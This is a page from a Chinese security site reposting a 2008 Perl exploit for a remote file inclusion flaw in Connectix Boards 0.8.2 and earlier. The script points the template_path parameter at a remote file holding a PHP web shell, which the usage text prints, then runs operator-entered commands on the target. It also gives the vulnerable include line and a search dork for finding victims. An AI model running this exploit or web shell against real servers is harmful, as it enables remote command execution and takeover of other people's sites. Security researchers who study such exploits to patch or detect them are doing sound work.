首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Connectix Boards <= 0.8.2 template_path Remote File Inclusion Exploit
来源:H-T Team 作者:HouSSaMix 发布时间:2008-01-30  
#!/usr/bin/perl
#
# Author : HouSSaMix From H-T Team
# Script : Connectix Boards (  Tested in last version 0.8.2 & 0.8.1 )
# Bug : Remote File Inclusion
# Vulnerable Code : <?php include ($template_path.'menu_links.php'); ?>
# Dork : powered by connectix boards
# Risk : High
# Download : http://www.connectix-boards.org/
# Exploit: http://Target.il/[path]/templates/Official/part_userprofile.php?template_path=[Shell]

use LWP::Simple;

print "-------------------------[ H-T Team ]--------------------------\n";
print "-                                                             -\n";
print "-         Connectix Boards <=0.8.2  - Remote File Inclusion   -\n";
print "-                                                             -\n";
print "---------------------------------------------------------------\n";
print "-       H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo        -\n";
print "-       Bug found and Coded By HouSSaMix & ToXiC350           -\n";
print "---------------------------------------------------------------\n\n";

my $morocco,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/templates/Official/part_mps.php";


sub usage(){
       print "=> Usage: perl $0 Target/path http://site.com/cmd.txt\n";
       print "=> Ex   : perl $0 http://site.com/forum http://site.com/cmd.txt\n";
   print "Code of file cmd.txt : \n";
       print '<?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
   print "   \n";
          }

while ()
{
print "Enter your command :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$morocco = $path."?template_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
{ print "Enter your command !\n"; }
else
{ $data=get($morocco); print $data ; }
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Chilkat Mail ActiveX 7.8 (Chil
·Wordpress Plugin Adserve 0.2 a
·Safenet IPSecDrv.sys <= 10.4.0
·Wordpress Plugin WassUp 1.4.3
·Oracle 10g R1 xdb.xdb_pitrig_p
·ibProArcade <= 3.3.0 Remote SQ
·Oracle 10g R1 xdb.xdb_pitrig_p
·MySpace Uploader (MySpaceUploa
·Oracle 10g R1 pitrig_truncate
·Total Video Player 1.03 M3U Fi
·Oracle 10g R1 pitrig_drop PLSQ
·Titan FTP Server 6.03 (USER/PA
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved